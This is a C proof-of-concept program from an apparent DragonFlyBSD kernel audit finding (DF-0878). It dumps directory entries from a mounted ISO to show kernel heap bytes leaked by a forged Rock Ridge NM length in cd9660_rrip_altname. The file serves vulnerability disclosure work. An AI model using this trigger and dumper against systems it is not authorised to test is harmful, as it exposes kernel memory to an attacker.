DragonFlyBSD Kernel Audit
DF-0878 / dumpents.c
← back to finding ↓ download raw
/*
 * DF-0878 — direct getdents dumper. Lists every entry in a directory and
 * prints each d_name in hex+ASCII so leaked/OOB bytes (kernel memory past
 * the directory buffer) are visible. The malicious ISO's 'Z' entry carries
 * an NM SUSP entry with forged length=255; cd9660_rrip_altname bcopy()s
 * 250 bytes from p+5 into d_name, of which ~220 are read past the 2048-byte
 * directory buffer (kernel heap).
 *
 * Build:  cc -O2 -o dumpents dumpents.c
 * Usage:  ./dumpents /mnt/iso
 */
#include <sys/param.h>
#include <sys/dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

extern ssize_t getdents(int, void *, size_t);

static void hexdump(const char *label, const char *buf, int n)
{
    printf("%s (%d bytes):\n    hex: ", label, n);
    int shown = n > 80 ? 80 : n;
    for (int i = 0; i < shown; i++) printf("%02x", (unsigned char)buf[i]);
    if (n > 80) printf("...");
    printf("\n    asc: ");
    for (int i = 0; i < shown; i++) {
        unsigned char c = buf[i];
        putchar((c >= 32 && c < 127) ? c : '.');
    }
    if (n > 80) printf("...");
    printf("\n");
}

int main(int argc, char **argv)
{
    const char *path = argc > 1 ? argv[1] : ".";
    int fd = open(path, O_RDONLY | O_DIRECTORY);
    if (fd < 0) { perror("open"); return 1; }

    char buf[8192];
    int nent = 0;
    for (;;) {
        ssize_t n = getdents(fd, buf, sizeof(buf));
        if (n < 0) { perror("getdents"); break; }
        if (n == 0) { printf("[getdents EOF after %d entries]\n", nent); break; }
        for (long off = 0; off < n; ) {
            struct dirent *d = (struct dirent *)(buf + off);
            printf("entry #%d: ino=%llu dirsiz=%u type=%d namelen=%u\n",
                   nent, (unsigned long long)d->d_ino,
                   (unsigned)_DIRENT_DIRSIZ(d), d->d_type, d->d_namlen);
            hexdump("  d_name", d->d_name, d->d_namlen);
            /* count non-'Z' bytes (potential leaked kernel bytes) */
            int leak = 0;
            for (int i = 0; i < d->d_namlen; i++)
                if (d->d_name[i] != 'Z' && d->d_name[i] != 0) leak++;
            if (d->d_namlen > 40 || leak > 0)
                printf("  >>> SUSPICIOUS: namelen=%d, %d non-'Z'/nonzero bytes "
                       "(possible leaked kernel memory)\n", d->d_namlen, leak);
            off += _DIRENT_DIRSIZ(d);
            nent++;
        }
    }
    close(fd);
    return 0;
}